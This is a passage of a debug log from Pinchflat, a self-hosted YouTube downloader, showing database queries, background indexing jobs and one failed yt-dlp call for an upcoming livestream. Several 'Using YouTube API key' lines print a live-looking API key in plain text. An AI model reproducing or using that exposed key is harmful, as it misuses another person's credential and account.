'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [44] 16:57:54.788 [debug] QUERY OK source="tasks" db=0.1ms idle=146.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268363, 44, ~U[2026-10-09 21:57:54Z], ~U[2026-10-09 21:57:54Z]] 16:57:54.788 [info] {"args":{"id":44},"id":5268323,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":147394,"event":"job:stop","queue_time":669079,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:55.641 [info] {"args":{"id":7},"id":5268324,"meta":{},"system_time":1791583075641159580,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:55.641 [debug] QUERY OK source="sources" db=0.1ms idle=853.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 16:57:55.641 [debug] QUERY OK source="settings" db=0.0ms idle=853.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:55.641 [debug] QUERY OK source="media_profiles" db=0.1ms idle=847.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:55.641 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:55.641 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 16:57:55.642 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:55.642 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:55.786 [debug] QUERY OK source="media_items" db=0.7ms idle=143.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "YJYGJQeq9XA", "bMMG9TqH7Cg", "ivwGdPaEKgw", "MSim6wHctJs", "a-pw6MLvxG4", "iJFXHSikXAw", "cX4nq3oWHEs", "sx0pL-IG9ZY", "I18RjNvKBb0", "w3xqsMv6T_k", "UJLnAxofL4w", "461UOs0Bvpo", "eeeIX-jPCfU", "I_dqiK6FEUw", "1F0KOBiLPJY", "GOY1nrnGFoQ", "49AR2G__gbY", "moBfszFIlZU", "ooneAa4P_DI", "5qJ4lBwxSHs", "EGIq02dD1_o", "ud56dWtJZuI", "wQxngUFOoqY", "Moi8q2spry8", "tdkSl_8BMDM", "3gZQa8wvPyQ", "A-WuDVu8Aec", "inZfAQX-ikk", "A5fjsYyBYeM", "RHbqw8PpDrk", "9BfpQaUdIKA", "vS959lEUED0", "3HO-1R_ye40", "cWrGe7BDnHY", "Hih6I3DOPZQ", "BMNtRwFDB6s", "3IzWVKqW8LA", "1OJcqhrA0aE", "xfk3OnaKJRU", "W5PifMAnoJY", "zR4OJ9_S5mU", "KWWxrVzMk-s", "WNGbL6zTXg0", "XnuH8t5MmWU", "zNYsw-cW8v8", "vq4TbSxK0P0", "pgCBgctN_VU", "2SM3dlbe2S8", "vwLSANJYMf4", ...] 16:57:55.789 [debug] QUERY OK source="media_items" db=2.4ms idle=145.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 16:57:55.790 [debug] QUERY OK source="tasks" db=0.1ms idle=148.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268364, 7, ~U[2026-10-09 21:57:55Z], ~U[2026-10-09 21:57:55Z]] 16:57:55.790 [info] {"args":{"id":7},"id":5268324,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":149125,"event":"job:stop","queue_time":568888,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:55.796 [info] {"args":{"id":25},"id":5268325,"meta":{},"system_time":1791583075796385852,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:55.796 [debug] QUERY OK source="sources" db=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 16:57:55.796 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:55.797 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:55.797 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:55.797 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 16:57:55.797 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:55.797 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:56.023 [debug] QUERY OK source="media_items" db=0.7ms idle=226.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "hsY3IJVKOcw", "a0YlDUdNjqc", "62hl5tFrodQ", "gStpYu84aRQ", "uKW8Td2gynY", "TpU_mB8MO4k", "EzkSQzP0ExQ", "kCuY95F6R40", "Xu7wneIzhPM", "IzNFKW9EIuA", "sZ1xZHqxah4", "55BSBuorfhQ", "Aw2XEiN1VNY", "IiH_inHowI8", "2uqbR-ntKdE", "0aa6XyEQgFY", "fMN1zdsyVTg", "vjcS8RKa194", "ocYp07IRgxQ", "_9adBz4FN5Y", "IYDwHD9p_qQ", "aSYbsUlefuk", "CZY_iUWtd5Y", "r3zmwPNRdPc", "_ZAEcUvqFnk", "ba1BfC-NO7s", "3gg3-t2CUn4", "pAwv29cLSq0", "GzJ7TaJIhhs", "Bc5RIeIjZT8", "t9XtC85e-tQ", "InaGX4XhPk0", "HSVmPi_p_GQ", "3Bp8fDX_9pY", "2xy8vg2WLz4", "bG0VnCUZm-s", "NIDy6_QXX-E", "Lhoi-gx3O9I", "6jLIm8Bt2dA", "8rf4YP-OlFs", "llaLuaNTA-Q", "QhxZ2JujRLs", "MEdMneWCqFA", "t0kErQN5pbM", "K7j9ONAplwY", "4rEcECZeyoE", "RwIhXqA7tQg", "_v18JX0Nwvk", "kZR4QlyyBO4", ...] 16:57:56.025 [debug] QUERY OK source="media_items" db=1.4ms idle=227.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 16:57:56.026 [debug] QUERY OK source="tasks" db=0.1ms idle=229.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268365, 25, ~U[2026-10-09 21:57:56Z], ~U[2026-10-09 21:57:56Z]] 16:57:56.026 [info] {"args":{"id":25},"id":5268325,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":230299,"event":"job:stop","queue_time":460287,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:56.642 [info] {"args":{"id":38},"id":5268326,"meta":{},"system_time":1791583076642157763,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:56.642 [debug] QUERY OK source="sources" db=0.1ms idle=615.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 16:57:56.642 [debug] QUERY OK source="settings" db=0.0ms idle=615.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:56.642 [debug] QUERY OK source="media_profiles" db=0.0ms idle=609.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:56.643 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:56.643 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 16:57:56.643 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:56.643 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:57.075 [debug] QUERY OK source="media_items" db=0.6ms idle=432.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "RFdUqYYAok4", "d4OvQ3ab3LU", "2zW3Yfqguqo", "TliajZWaa6w", "KxPnKhHwTss", "CNXmT6_AgYI", "9MeAJILthTI", "Sa3rM0oMmII", "XI57UTwhiHk", "ViBIKuIjePA", "wk-5m6cDEFg", "0Tot2YHwYNw", "vXMKnG6EI-o", "qj89Pt8CG8Y", "0IEv_NJo28w", "jmg3WF44TX4", "dFAjDGLGGdo", "1YcOlzRT5fI", "kZRvqOLkYT8", "1Z7bFTHQVLE", "6bKxtOkucuE", "8W8aD92ICuA", "i302110skWk", "13rEmidnw4A", "-X2v_sQA-j0", "L0rHhCEKvgo", "nYD-kE0bAY4", "XUlR2DVedTg", "l2X92jlagKg", "1igbvUoJcP8", "7514uMl2EX0", "I3mHsRo707I", "fUxEAMiqGYY", "mD4HUXQMG2U", "f3q2mXFrACc", "g8YEYPROiwk", "slWVHwC-XHc", "iBfyeFSpPXU", "9kBUy4NgMAI", "cljD9rspFsA", "IM1njZ0AuP8", "gW-kYYBK5t4", "tobDwFmXHwQ", "8U8zEXmqpRI", "_E049Xhgah4", "Iwzmx_EyHJI", "TRMxPhMhq70", "FHvAe63pYvM", "IKVwG8AizeA", ...] 16:57:57.078 [debug] QUERY OK source="media_items" db=2.2ms idle=433.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 16:57:57.079 [debug] QUERY OK source="tasks" db=0.1ms idle=436.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268366, 38, ~U[2026-10-09 21:57:57Z], ~U[2026-10-09 21:57:57Z]] 16:57:57.079 [info] {"args":{"id":38},"id":5268326,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":437281,"event":"job:stop","queue_time":413386,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:58:00.424 [info] {"source":"oban","duration":179,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:58:15.386 [info] {"source":"oban","duration":10159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":12} 16:58:41.064 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kvfyuReITgE --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/44/a7/44a706e1a57824211335b743f4096a00984ec6c7681b0be8b6db61122c6da48e.json --sleep-requests 90 --sleep-interval 80 --sleep-subtitles 80 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] kvfyuReITgE: This live event will begin in 12 days. 16:58:41.064 [error] Error creating media item 'kvfyuReITgE' from URL: {:error, "ERROR: [youtube] kvfyuReITgE: This live event will begin in 12 days.\n", 1} 16:58:41.065 [debug] QUERY OK source="media_items" db=1.3ms idle=1385.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 16:58:41.066 [debug] QUERY OK source="tasks" db=0.1ms idle=719.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268367, 37, ~U[2026-10-09 21:58:41Z], ~U[2026-10-09 21:58:41Z]] 16:58:41.067 [info] {"args":{"id":37},"id":5268317,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":91471792,"event":"job:stop","queue_time":493514,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:58:45.398 [info] {"source":"oban","duration":10232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":3} 16:59:00.425 [info] {"source":"oban","duration":130,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:59:15.408 [info] {"source":"oban","duration":9856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:45.419 [info] {"source":"oban","duration":10228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":13} 16:59:56.765 [info] {"args":{"id":14},"id":5268327,"meta":{},"system_time":1791583196765646174,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:59:56.765 [debug] QUERY OK source="sources" db=0.1ms idle=1007.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 16:59:56.766 [debug] QUERY OK source="settings" db=0.0ms idle=419.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:56.766 [debug] QUERY OK source="media_profiles" db=0.0ms idle=419.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:56.766 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:56.766 